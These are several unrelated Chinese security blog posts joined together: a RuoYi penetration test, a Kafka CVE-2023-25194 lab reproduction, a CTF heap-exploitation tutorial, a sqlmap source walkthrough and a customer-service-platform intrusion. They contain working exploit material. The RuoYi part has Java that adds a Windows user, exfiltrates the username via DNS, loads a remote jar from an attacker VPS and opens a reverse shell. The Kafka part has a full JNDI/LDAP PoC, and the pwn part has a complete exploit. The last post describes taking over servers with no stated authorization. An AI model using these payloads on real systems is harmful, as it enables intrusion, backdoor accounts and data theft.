前言 最近客户开始hw前的风险排查，让我们帮他做个渗透测试，只给一个单位名称。通过前期的信息收集，发现了这个站点： 没有验证码，再加上这个图标，吸引了我注意： 从弱口令开始 若依默认口令为admin/admin123，结果真的直接进了。 管理员权限，直接上工具探测一下是否有若依的几个漏洞： 工具链接：https://github.com/thelostworldFree/Ruoyi-All 还得是运气啊！原本想着直接用这个工具一键穿的，但是奈何没利用过若依的洞，这个工具也不会使用。后续去查看了几篇文章，需要上传jar包，该漏洞可通过定时任务去调用执行jar包。 文章地址：https://blog.csdn.net/FY10033/article/details/126206890 然后坑来了。按照教程去实践，发现怎么样也无法执行漏洞。以下是java代码：  public AwesomeScriptEngineFactory() {\   try {\     Runtime.getRuntime().exec(\"net user test test@123 /add\");\     Runtime.getRuntime().exec(\"ping tttt.ogjxcqvtbf.dnstunnel.run\");\     Runtime.getRuntime().exec(\"ping  %USERNAME%.ogjxcqvtbf.dnstunnel.run\");\   }catch (IOException e) {\      e.printStackTrace();\    }\  } 还得从shiro入手 尝试了一下午后，想想算了，看看有没有别的洞吧。刚好文章里面有写到，ruoyi的shiro存在默认密钥，结果一尝试，还真的存在。（Ps：这边有个坑，我用文章里面提到的LiqunKit去尝试，无法执行命令。后续用了shiro_attack成功命令执行） 然后通过shiro写入内存马： 对内存马感兴趣的，可以看下这两篇文章： http://www.manongjc.com/detail/64-jmklbsfdbhdslrw.htmlhttps://blog.csdn.net/MachineGunJoe/article/details/118088350但是可惜，这是一台云主机，整个内网就一台主机。很多人可能看到esc，就不想再打了。不过我还是去翻了一下文件夹，把数据库账号也拉下来。 这个项目很奇怪，我找到的项目路径下全是jar包，我都怀疑这个是不是web目录。在基础信息里面找到了路径： catalina.home =C:\Users\Administrator\AppData\Local\Temp\2\tomcat.937421519914311975.808 但是进入该路径下，发现没文件，不知道是不是权限不够。 可以看到这边只限制127.0.0.1的ip访问，这就很尴尬，所以这边我使用ligolo代理3306出来，成功进行连接： 工具链接：https://github.com/FunnyWolf/ligolo 其实也尝试过添加用户，但是貌似被拦截了。原本想用哥斯拉的内存马进行一键提权的，但是不知道为什么，哥斯拉的内存马一直连接不上。有大佬懂的，还望不吝赐教。 再战定时任务 但是对于定时任务没复现出来，我还是很执着，通过查看其它大佬写的文章，发现了原来这个jar包的代码有问题，windows和linux的命令执行不一样，windows没办法直接通过exec执行，需要调用cmd进程进行执行。后续参考了这篇文章： https://www.cnblogs.com/BOHB-yunying/p/15661384.html配置完后，后台添加定时任务 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vpsip:8000/yaml-payload.jar"]]]]') Java部分源码： +-----------------------------------------------------------------------+| String host="ip"; || ||         int port = 6767; || ||         String cmd="cmd.exe"; || ||         Process p=new || ProcessBuilder(cmd).redirectErrorStream(true).start(); || ||         java.net.Socket s=new java.net.Socket(ho 然后通过以下命令编译并打包为jar包： +-----------------------------------------------------------------------+| javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件 || || jar -cvf yaml-payload.jar -C src/ . //打包jar包 |+=======================================================================++------------------------------------ 成功反弹shell到我vps上： 总结与思考 其实如果整片文章看下来，可能会觉得比较顺利，但是其实踩了很多坑，以下是我自己的总结，也和大家分享一下： 冰蝎多版本不支持shiro_attack生成的内存马，目前发现3.0Beta9版本修复版支持； 若依的定时任务java代码执行：Linux和windows的执行代码是不同的，windows需要调用cmd进程去执行，才导致一直测试不成功； 冰蝎自带的socks代理和数据库工具很难用，经常出现奇奇怪怪的问题。可以使用第三方工具。如ligolo，把数据库端口映射出来，再去访问登录。我就是用自带的数据库管理工具连不上，然后socks代理也连不上，才使用第三方工具的； netuser添加用户失败大概率是权限不足或者杀软拦截了。上线后可以先tasklist查看是否有杀软。其实就是和渗透前的信息收集一样，上线后也要收集一下当前服务器的信息； 遇到渗透的效果和自己预想的不一样的情况，要学会排查，猜测问题的原因。如我本次代理3306端口出来，一直去尝试账号密码登录，但是一直登录不上。排查了一圈，才发现当时为了安全起见，把我的代理端口限制IP访问了。

关于 Apache Kafka是一个开源的分布式事件流平台，被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。 影响版本 2.4.0<=Apache kafka<=3.2.2 环境搭建 满足影响版本的应该都可以，这里我是使用的版本为2.5.0 wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz 直接解压 这里可以使用命令直接起起来，最新版的kafka是集成Zookeeper .\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties 但是报错了，可以自己安装zookeeper 下载地址 http://zookeeper.apache.org/releases.html这里配置文件其实可以补钙，实际上日志记录功能可选择不要，直接启动 服务端正常启动。 只要不报错即为正常启动 继续修改kafka配置文件server.properties文件，修改日志存放路径 命令启动 .\bin\windows\kafka-server-start.bat .\config\server.properties 测试kafa搭建是否存在问题 创建主题 .\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111 查询主题 .\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092 创建生产者 .\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic test111 创建消费者 .\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning 消息收发没有问题，生产者输入信息之后消费者会自动消费。 启动connect .\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties 因为牵涉到补图片，图片内的时间顺序可能不对，请忽略 访问 http://192.168.2.135:8083/connector-plugins这里是没有插件的，所以需要安装插件。这里要复现CVE-2023-25194，需要使用io.debezium.connector.mysql.MySqlConnector类，所以需要配置Debezium MySQL 连接器配置属性 安装Debezium https://debezium.io/releases/2.1/这里根据自己环境安装，比较友好的时不同的版本有介绍需要的java版本，因为我的java环境为1.8+的，所以这里我选择的版本比较老 在kafka的安装目录创建一个文件夹 存放debezium，修改kafka的配置文件 插件注意指向debezium的存放路径,重新启动，获取到插件，这里需要必坑的位置 1.java版本需要匹配kafka版本以及其他组件版本 2.配置文件需要修改,否则会报错。 kafka在连接Mysql时 数据需要同步到 Elasticsearch 具体的文章可以参考 https://my.oschina.net/u/4923278/blog/5007756安装mysql https://dev.mysql.com/downloads/installer/需要避坑的位置 结束 登录mysql数据库，设置允许外部连接 GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; set time_zone='+8:00'; show variables like '%time_zone%'; mysql需要开启配置 log_bin           = mysql-bin binlog_format     = ROW binlog_row_image  = FULL expire_logs_days  = 10 可参考 https://blog.csdn.net/wang972779876/article/details/120002546访问路径 http://192.168.2.135:8083/connector-plugins发现插件正常启动，参考的有复现的文章，说的时需要做时钟同步，但是在测试的时候发现其实时钟未做设置的时候也没有问题。 漏洞利用 ＰＯＣ如下： POST /connectors HTTP/1.1 Host: 192.168.2.135:8083 Content-Type: application/json Content-Length: 809 { "name": "mysql-connect", "config": { "connector.class": "io.debezium.connector.mysql.MySqlConnector", "database.hostname": "192.168.2.135", "database.port": "3306", "database.user": "root", "database.password": "root", "database.server.id": "316545017", "database.server.name": "test1", "database.history.kafka.bootstrap.servers": "192.168.2.135:9092", "database.history.kafka.topic": "quickstart-events",   "database.history.producer.security.protocol": "SASL_SSL",   "database.history.producer.sasl.mechanism": "PLAIN",   "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.2.149:1389/rce\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" } } 具体的参数的配置属性可以参考这篇文章 https://blog.csdn.net/weixin_43564627/article/details/118959829在利用的时候需要注意在使用name时，为连接器的名称，重复注册则会返回报错。 使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389 发送POC 可以看到请求了恶意类 恶意类内容calc.java import java.lang.Runtime; public class Calc {    public Calc() throws Exception{        Runtime.getRuntime().exec("C:\Windwos\System32\cmd.exe ipconfg>C:\Users\Administrator\Desktop\2.txt");   } } 编译java javac calc.java 在8888端口起http服务 python -m http.server 8888 执行payload 漏洞原理 Apache Kafka Connect 是 Kafka 中用于和其他数据系统传输数据的服务，其独立运行版本可以在 Kafka 发布包中通过 bin/connect-standalone.sh 启动，默认会在 8083 端口开启 HTTP REST API 服务，可对连接器（Connector）的配置进行操作。 将连接器中的 Kafka 客户端 sasl.jaas.config 属性值设置为 com.sun.security.auth.module.JndiLoginModule（通过 producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config 或 admin.override.sasl.jaas.config 属性进行配置）时，如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。

浅说一下pwn堆，并用一个简单的例子具体说明，给刚入坑堆的小朋友说的一些思路。 堆是什么 堆，你可以看成一个结构体数组，然后数组里每个元素都会开辟一块内存来存储数据，那么这块用来存储数据的内存就是堆。 结构体数组在BSS段上，其内容就是堆的地址，也就是堆的指针。 堆的理解 堆有很多题型 什么堆溢出，off by null , uaf 等。 核心的话主要是学思想，所有人都知道我要得到shell，cat flag。但是要怎么去干得有个过程， 比如我们做栈题，很容易知道我要劫持栈的返回去执行任意地址，填入shellcode什么的。 堆的话也是一样。 就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。 所以堆到底要怎么去执行。 我们可以把某一个函数的内容改成system，下次调用该函数即是使用system， 再在别的堆里面放入/bin/sh字符串，然后再用刚刚修改的函数，使用已经放入字符串的堆。 即可执行system(/bin/sh)了 一般修改__free_hook，使其内容变成system然后再free掉放有/bin/sh的堆 举例说明 我用一个很简单的例子去一步一步简单剖析。 这里我用一个很简单的例子去一步一步简单剖析。 先给出源码和gcc编译，使用的是Ubuntu18 gcc -o lizi lizi.c#include<stdio.h> #include<stdlib.h> char *heap[0x20]; int num=0; void create() { if(num>=0x20) { puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); heap[num]=(char *)malloc(size); num++; } void show(){  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else {    printf("Content:");    printf("%s",heap[idx]); } } void dele() {  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; } } void edit() {  int size;  int idx;  char buf[4];  puts("idx");   (read(0, buf, 4));    idx = atoi(buf);  if (!heap[idx]) {    puts("no have things\n"); } else { puts("how big u read"); scanf("%d",&size); puts("Content:"); read(0,heap[idx],size); } } void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show"); } void main() { int choice; while(1) { menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } } } 我们也不用ida了，直接源码分析，很明显在edit处能知道我们可以修改堆大小， 而导致的堆溢出修改下一个堆。 我们可以直接使用unsortedbin，申请较大的堆，再free掉，再申请个小堆， 使其从unsortedbin里面切割堆，这样，你申请的小堆就会有一些unsortedbin里面的东西。 （具体请看unsortedbin介绍） 结合exp介绍： from pwn import * r=process('./lizi') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' def add(size): r.sendlineafter("4.show\n",'1') r.sendlineafter("idx\n",str(size)) def dele(idx): r.sendlineafter("4.show\n",'2') r.sendlineafter("idx\n",str(idx)) def edit(idx,size,con): r.sendlineafter("4.show\n",'3') r.sendlineafter("idx\n",str(idx)) r.sendlineafter("how big u read\n",str(size)) r.sendafter("Content:\n",con) def show(idx): r.sendlineafter("4.show\n",'4') r.sendlineafter("idx\n",str(idx)) add(0x420) add(0x420) add(0x420) dele(1) add(0x70) show(2) r.recvuntil("Content:") base=u64(r.recv(6)+'\x00'*2)-0x3ec090 print(hex(base)) free=base+libc.sym['__free_hook'] sys=base+libc.sym['system'] add(0x70) dele(3) edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free)) add(0x70) add(0x70) edit(3,0x10,"/bin/sh\x00") edit(4,0x10,p64(sys)) dele(3) r.interactive() 首先菜单不用多说，很简单的交互，写好就行 然后申请3个堆，为了保证能进入unsortedbin，得大于tcache的大小，然后free掉1号堆 unsortedbin all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0 可以看到1号堆已经进入到unsortedbin了 然后申请一个小堆 pwndbg> x/32gx 0x55697b2cfaa0 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000 查看申请堆的地址可以发现，11行处是已经之前free掉的1号堆，这个申请的堆会在unsortedbin里面切割 然后会有残留地址，然后我们把他show出来就可以计算一波libc地址了。 算出system,__free_hook的libc， 接着为什么要多申请一个堆，这里就是堆溢出的打法了， 在刚刚申请的堆后面再建一个堆，然后通过free掉修改内容指向__free_hook地址 再把内容改成system就可以把free当做system用了； 在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点 GDB看看 pwndbg> bin tcachebins 0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0 smallbins empty largebins empty 会发现tcache里面已经有__free_hook了，因为已经把内容改成__free_hook的地址了。 然后申请2个堆，把tcache里面的__free_hook拿出来。 你也可以验证一下、 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA   0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0 pwndbg> x/32gx 0x5597ecced000+0x202040 0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000 0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30 0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000 0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000 0x202040是heap的偏移，可以从ida里面找到。 申请出来的堆，__free_hook在4号堆 pwndbg> x/32gx 0x00007f7694f2e8e8 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000 0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000 成功证明， 然后已知4号堆是__free_hook了，那么将4号堆的内容改成system的地址，不就可以了吗 然后再把3号堆写入/bin/sh 然后free（实际上已经变成system）掉3号堆（实际上已经是/bin/sh）了 成功取得shell 总结 做堆题主要是要有一个总体想法就是要把什么变成system去执行shell，或者也有别的，比如malloc等。 这里只是一个总体思路，毕竟拿到堆题如果一条总想法都没有的话，就只能干坐着了。

0x01 前言 因为代码功底太差，所以想尝试阅读 sqlmap 源码一下，并且自己用 golang 重构，到后面会进行 ysoserial 的改写；以及 xray 的重构，当然那个应该会很多参考 cel-go 项目。 0x02 环境准备 sqlmap 的项目地址：https://github.com/sqlmapproject/sqlmap用 pycharm 打断点调试，因为 vscode 用来调试比较麻烦。 因为要动调，所以需要一个 sql 注入的靶场，这里直接选用的是 sql-labs，用 docker 起 docker pull acgpiano/sqli-labs docker run -dt --name sqli-lab -p [PORT]:80 acgpiano/sqli-labs:latest 最后还需要重新配置一下数据库，然后才能以 sqli-labs 为靶场进行测试。 这里也挂一下 sqlmap 对应的一些基础操作 ———— https://www.cnblogs.com/hongfei/p/3872156.html 直接在 pycharm 的 Debug 下进行调试，设置参数如下，开始调试 -u "http://81.68.120.14:3333/Less-1/?id=1" -technique=E --dbs 0x03 sqlmap 源码阅读 在开始之前我们有必要确认一下 sqlmap 运行的流程图，很重要！这样有助于我们进一步分析源码。 1. 初始化 在 sqlmap.py 的 main 函数下断点，开始调试 在没有对 URL 进行发包/探测的时候 sqlmap 会先对一些环境、依赖、变量来做一些初始化的处理 往下，通过 cmdLineParser() 获取参数，cmdLineParser() 通过 argparse 库进行 CLI 的打印与获取，类似的一个小项目我之前也有接触过 https://github.com/Drun1baby/EasyScan 往下 initOptions(cmdLineOptions) 解析命令行参数 init 函数： 初始化 在 init() 函数中通过调用各种函数进行参数的设置、payload 的加载等，有兴趣的师傅可以点进去阅读一下。 其中这三个相对比较重要，是用来加载 payload 的 ———— loadBoundaries()、loadPayloads()、_loadQueries()， loadBoundaries()  // 加载闭合符集合 loadPayloads()    // 加载 payload 集合 _loadQueries()    // 加载查询语句，在检测到注入点之后后续进行数据库库名字段名爆破会用到的语句 下个断先点调试一下 loadBoundaries() 函数 首先，会去加载 paths.BOUNDARIES_XML，也就是 data/xml/boundaries.xml 接着进入解析 XML 文件的部分，跟进 parseXmlNode(root) 最终添加到 conf 对象的 tests 属性里 loadPayloads() 函数与 _loadQueries() 函数大体上也是如此，都是做了解析 xml 文件的工作，再将内容保存到 conf 对象的 tests 属性里。像 loadPayloads() 函数，最后在 conf.tests 里面可以很清晰的看到 payloads 此时我们还可以看一下 conf 是什么 conf 属性中主要存储了一些目标的相关信息（hostname、path、请求参数等等）以及一些配置信息，init 加载的 payload、请求头 header、cookie 等 init() 函数执行完毕后，就会来到 start() 函数进行项目的正式运行。 初始化功能点小结 简单概括一下初始化部分的代码做了什么事 获取命令行参数并处理 初始化全局变量 conf 以及 kb 获取并解析几个 xml 文件，完成闭合工作、payloads 加载工作 设置 HTTP 相关配置，如 HTTP Header，UA，Session 等 2. URL 处理 f8 下来，先到的是 threadData = getCurrentThreadData()，继续往下走，到 result = f(*args, **kwargs) 代码块，跟进一下 代码逻辑此时来到了 /lib/controller/controller.py 下，往下走，是不会进到 conf.direct 和 conf.hashFile 中的，会直接进入到 kb.targets.add() 的代码逻辑里面。 此处的 kb 变量的作用是共享一些对象，其实本质上是保存了注入时的一些参数。kb.targets 添加了我们输入的参数，如图 往下看，大体上是做了一些类似类似打印日志、赋值、添加 HTTP Header 等工作，这一部分代码我们就不看了，直接看最关键的这一部分代码 parseTargetUrl()。 跟进 一开始先进行了这一判断 if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6 判断 http:// 的开头形式是否正确，以及 socket 是否为 ipv6 协议，如果为 ipv6 协议，那么 sqlmap 并不支持。 接着判断 if not re.search(r"^(http|ws)s?://", conf.url, re.I): 判断是 http 开头还是 https 开头，又或者是否是 ws/wss 开头，如果没有这些开头，则就从端口判断，这里我认为或许可以加上 80 与 8080 端口。 继续往下看，进行了 url 的拆分、host 的拆分，并将这些内容保存到 conf 里面的对应属性，后续也是一些基础的判断与赋值，这里不再赘述。 总而言之是在对 URL 进行剖析与拆解，最后这些东西都是放到 conf 里面的 3. 如果这个网站已经被注入过，生成注入检测的payload 核心代码在 controller.py 的第 434 行，需跟进；此处我们可以设置对 kb.injections 的变量监测。先跟进 setupTargetEnv() 函数 setupTargetEnv() 函数调用了如下图所示的七个函数 我们跟进最主要的 _resumeHashDBValues() 函数，首先调用了 hashDBRetrieve() 函数，设置检索 出来，到第 476 行，这一次又调用了 hashDBRetrieve() 函数，传参是 HASHDB_KEYS.KB_INJECTIONS，意思就是以 KB_INJECTIONS 作为 KEY 进行检索。跟进发现函数先将需要注入的 URL 信息放到了 _这个变量中，并将基础信息用 | 符号隔开。 跟进 retrieve() 函数，这个函数做了生成 payload 的工作，具体是怎么生成的我们继续往下看 第 95 行，这里很重要，执行了 SQL 语句，并通过 Hash 加密，加密方式是 base64Pickle 序列化 最终反序列化解密 Payload，说实话这里没看懂是怎么生成的，看上去仅仅是执行了一个 SQL 语句，后面看其他师傅的文章的时候并没有把这一段单独拉出来说，payloads 其实都放在 xml 当中。 接着再循环一次，生成一个 payload 在生成完所有 payload 之后会先对目标进行一次探测，如果 Connection refused 则返回 False 这里生成的 payload 只是很基础的一部分，并非是 4. WAF 检测 解析完 URL 之后对目标进行探测，往下看，位置是 controller.py 的第 439 行，第 448 行有 checkWaf() 的函数，很明显就是要做 WAF 检测的功能。 先会判断这一目标是否存在 WAF，如果存在 WAF 的话，会进行字符的相关 fuzz，当然此处建议对一个存在 WAF 的目标进行测试。值得注意的是，如果这个目标你已经探测过存在 waf，且已知 waf 归属厂商的情况下，就不会走到 payload 那一段代码逻辑当中去，相关的业务代码在 hashDBRetrieve() 下，此处不再展开，比较容易。 如果存在 WAF，则会生成用于 fuzz 的 payload，这个 payload 是基于这个 NMAP 的 http-waf-detect.nse ———— https://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse 设置 payload 类似于 "9283 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"，如果没有 WAF，页面不会变化，如果有 WAF，因为 payload 中有很多敏感字符，大多数时候页面都会发生改变。 接下来的 conf.identifyWaf 代表 sqlmap 的参数 --identify-waf,如果指定了此参数，就会进入 identifyWaf() 函数，主要检测的 waf 都在 sqlmap 的 waf 目录下。不过新版的 sqlmap 已经将这一参数的功能自动放到里面了，无需再指定参数 这里的 payload 先经过处理后赋值给 value，再将 value 作为参数传入 queryPage() 请求中，跟进 在经过很长一段的数据处理与判断代码后，我们到第 1531 行，如图，跟进；getPage() 函数的作用是获取界面的一些信息，如 url，ua，host 等，通过输出比对 payload，为判断 waf 类型提供信息。 获取基本信息 这些基础信息最后都会保存在 response 系列的 message 当中 getPage() 函数中调用了 processResponse() 函数做响应结果的处理，跟进 往下看，到 401 行开始，后续的代码进行了 Waf 的识别 跟进 identYwaf.non_blind_check()，是通过正则表达式来对页面进行匹配，对应的规则在 thirdparty/identywaf/data.json 中 同时 sqlmap 不光通过规则库来进行判断，也会通过页面相似度来判断是否存在 waf/ips 如果相似度小于设定的 0.5 那么就判定为有 waf 拦截 WAF 注入总结 总结一下就是两点，一种方法是通过正则匹配的检测，另外一种方法是根据页面相似度来检测，我自己应该很难写出来 waf 检测的东西；届时再做尝试。 5. 注入检测之启发式注入 从 checkWaf() 函数里面出来，先到第 457 行，检测网站是否稳定（因为有些网站一测试可能就炸了）对应此 info [INFO] testing if the target URL content is stable 继续往下走到第 471 行，会先判断参数是否可以注入，这里与命令的参数 —— --level 挂钩 在前文环境准备的时候我们采用的方式是报错注入，如果不这么做，直接指定参数 --dbs，无法进入到启发式注入里面。我们接着看代码，往下直到第 581 行，调用的 heuristicCheckSqlInjection() 函数，意思是启发性注入。 启发式注入做了哪些工作 1、数据库版本的识别2、绝对路径获取3、XSS 的测试 数据库版本的识别 首先会从 HEURISTIC_CHECK_ALPHABET 中随机抽取10个字符出现构造 Payload，当然里面的都不是些普通的字符，而且些特殊字符，当我们进行 SQL 注入测试的时候会很习惯的在参数后面加个分号啊什么的，又或者是其他一些特殊的字符，出现运气好的话有可能会暴出数据的相关错误信息，而那个时候我们就可以根据所暴出的相关错误信息去猜测当前目标的数据库是什么。 并且最后生成的这个 payload 是能够闭合的 实际找个网站测试，如图，这就是报出的 SQL 数据库错误 判断在 lib/request/connect.py 的 1532 行 接着跟进 processResponse() 函数，这里和 waf 对比用的同一种方式，不再详细说明 其中 processResponse() 会调用到 ./lib/parse/html.py 中的 htmlParser() 函数，这一个函数就是根据不同的数据库指纹去识别当前的数据库究竟是什么。 最终实现这一功能的其实是 HTMLHandler 这个类，errors.xml 文件内容如图 这一配置文件的比较简单，其实也就是一些对应数据库的正则。sqlmap 在解析 errors.xml 的时候，然后根据 regexp 中的正则去匹配当前的页面信息然后去确定当前的数据库。这一步和 WAF 比对类似。 到此 sqlmap 就可以确定数据的版本了，从而选择对应的测试 Payload，后续我们会看到这是根据莫索引将 payloads 排序，然后选取对应数据库信息的 payloads 进行测试。减少 sqlmap 的扫描时间。 最后这个 DBMS 探测对应的是这一段信息 获取绝对路径与 XSS 探测 相比指纹识别，获取绝对路径的功能模块相对简单，利用正则匹配寻找出绝对路径。 XSS 的探测也比较简单，这里就不作代码分析了 6. 注入检测之正式注入 从启发式注入里面出来，到第 592 行，进行正式的注入检测，跟进 到第 130 行，获取所有的 payload，后续会根据数据库的信息构建索引，将符合索引的 payload 拿去攻击 往下走，先判断有没有做数据库信息的获取，如果有则跳过，如果没有就先进行上一步的启发式注入 接着根据通过报错得到的数据库信息建立索引，将对应最有效的 payload 拿出来。这些 payloads 会进行 while 循环 第 370 行，通过 cleanupPayload() 函数对 payload 进行处理，主要功能其实是做了 payload 的标签替换 最后替换过的 payload 长这样 "AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('qbpxq',(SELECT (ELT(9125=9125,1))),'qxkvq','x'))s), 8446744073709551610, 8446744073709551610)))" 在 sqlmap 中将payload 分为了三部分，上面生成的 fstpayload 就是中间那部分 prefix + payload + suffix prefix 和 suffix 就是对应的，闭合前面的结合以及注释后面的结构，这两个属性主要是从 boundary 中进行获取的，boundary 就是前面加载的 boundaries.xml 配置文件，用来闭合的，所以这里作为了 prefix 和 suffix 最后的拼接 并分别对 prefix 和 suffix 进行 clean，然后进行组合，组合之后的 payload 就是 reqPayload，然后进行请求 发出请求最终还是通过 request.queryPage() 来实现的 请求完毕的结果经过 queryPage() 函数来获取界面，但是页面结果是由 kb.chars.start 和 kb.chars.stop 包裹着的 当第一次的注入不成功的时候，会不断变更 prefix，suffix，当 prefix 和 suffix 都变更完毕但还是无法注入时，才会变更 payload，取出另一个 payload 出来，直至 injectable 变量为 true，同时 output=1 并且 injectable=true 7. 爆数据库等操作 经过上一步正式注入的判断，得到的 injectable=true 参数，才能进行下一步的爆数据库操作. 爆库阶段主要是先经过四个函数处理数据后，再调用 action() 函数，跟进。 这里已爆库为例，先看 --dbs 参数有关的这一块，核心函数是 getDbs() 先根据后台数据库信息，输出日志 第 133 行，queries 就是存放之前初始化 queries.xml 的变量 首先通过 count(schema_name) 来获取数据库的个数，然后再通过 limit num,1 来依次获取数据库名，从 queries 变量中获取语句之后就会传递到 getValue 函数 跟进，前面做了一些基础的设置和 payload 的处理与赋值，比如第 401 行的 cleanQuery() 函数，将语句转换为大写，这里我就不跟进了。直接看关键语句，第 451 行，errorUse() 函数 在 errorUse() 中首先通过正则将 payload 中的各个部分都进行了获取 ，保存到了对应的 field 当中，最终经过一系列处理，取出了 payload 中的 schema_name 跳出 getFields() 函数，往下，将 expression 的值经过 replace 操作，赋值给了 countedExpression，最终得到的值是 'SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA' 第 337 行，跟进 _oneShotErrorUse() 函数，在这一个函数中，sqlmap 对目标网站发包，使用的 payload 为 countedExpression，目的是探测数据库个数（count） 具体业务发包在这里 最后将结果传入 extractRegexResult() 函数中进行正则提取 多线程的方式进行注入，而 runThreads() 函数调用了 errorThread() 函数，最终的注入业务还是由 errorThread() 函数来完成的 跟进一下 _errorFields() 函数，将每一个表进行 while 循环操作，再通过 limitQuery() 函数设置最后的 Limit 语句 最后成功 --dbs sqlmap 流程分析结束 0x04 小结 sqlmap 的流程分析需要非常重视这张图，当感觉代码看不下去的时候看一下这张图可以事半功倍。 在审计开始之前也可以看一下 utils 文件夹下的 python 文件，总体来说流程并不难，看正则的时候其实挺吃力的。

平平无奇的客服平台： 这个客服平台是有RCE的，如果上传到的不是oss服务器，存储在本地服务器的话， 在返回端口的url是存在st2。 root权限，由于是客服后台服务器，没有啥有用价值的信息。 直接替换私钥连服务器。 继续翻找有用的信息。 配置文件里也只有mongodb和redis的连接信息。 历史命令和登录ip历史是阿里云服务器。 扫下端口，8092有个目录遍历，好像是专门用来放项目的。 点开test看看： 下载过来解包看看： 这咋有个ip，root和密码，不会是那个开发人才留下的吧，泪目了家人们。 尝试连接，还真可以。 连接数据库看看，8w多受害者，佩服。 然后再回到之前扫出来的端口， 8094是有个web项目。 在数据库获取到后台url  配合数据库和登录日志获取到国内技术嫌疑人。 IP和经纬度是在国内。 总结一下，下班。

